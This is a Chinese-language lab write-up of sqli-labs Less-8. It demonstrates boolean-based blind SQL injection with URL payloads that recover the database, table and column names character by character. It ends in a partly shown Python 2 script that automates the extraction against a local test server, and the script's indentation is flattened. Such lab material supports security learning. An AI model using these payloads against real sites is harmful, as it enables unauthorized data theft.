Less-8 Get - Blind -Boolian Based -Single Quotes
1.原页面
2.?id=1
3.?id=1’
4.尝试布尔盲注
代码存在sql注入漏洞，然而页面既不会回显数据，也不会回显错误信息，我们可以通过构造语句，来判断数据库信息的正确性，再通过页面的“真”和“假”来识别我们判断的是否正确
?id=1’ and (length(database()))>0 --+
?id=1’ and (length(database()))<0 --+
5.判断数据库第一位
?id=1’%20and%20(select%20ascii(substr(database(),1,1)))>100–+
第一位是否大于100，是就显示正确，不是就显示错误。
substr()函数：substr(a,b,c)从b位置开始，截取字符串a的c长度ascii()函数：ascii()将某个字符转换为ascii值
判断范围，看看大不大于120
?id=1’%20and%20(select%20ascii(substr(database(),1,1)))>120–+
不大于120 ，缩小范围看看大不大于115
?id=1’%20and%20(select%20ascii(substr(database(),1,1)))>115–+
?id=1’%20and%20(select%20ascii(substr(database(),1,1)))>114–+
?id=1’%20and%20(select%20ascii(substr(database(),1,1)))=115–+
数据库名第一位为115 ，我们查下ASCII对照表，第一位是s。
依次判断数据库剩下的部分。
6.依次猜测表名
?id=1’ and (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101–+
7.依次猜测列名
?id=1’ and (select ascii(substr((select columns_name from information_schema.columns where table_name=’users’ limit 0,1),1,1)))=117–+
依次猜解效率不高，可以通过编写python 脚本。（搬来了大佬写的脚本 python27运行）
8.获取数据库名和用户：
# -*- coding:utf8 -*-
import requests
url = 'http://127.0.0.1/sqli/Less-8/?id=1%27' # 这个url要对应你自己的url
payload = " and%20left({d}(),{n})=%27{s}%27%20--%20k"
# 上面两个可以合并为一个,但没有必要,(本来就是我拆开的)
list1 = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '@', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0'] # 字典
str1 = "You are in..........." # 就是通过返回的页面里有没有这个字符串来判断盲注有没有成功
# 开始对比database()
database = ''
for i in range(1, 10): # 相当于C语言的for循环1~9 其实这里应该先判断database有多长的
for ss in list1: # 相当于for循环遍历list,然后把每一项赋值给ss
p = payload.format(d='database', n=i, s=database+ss) # 把payload里的{d},{n},{s}赋值
u = requests.get(url+p) # 访问网页
# print p
if str1 in u.content: # 如果str在网页内容里面
database += ss
print u"正在对比database第", i, u"个字符",
print database
break
print u"对比成功,database为:", database
# 开始对比u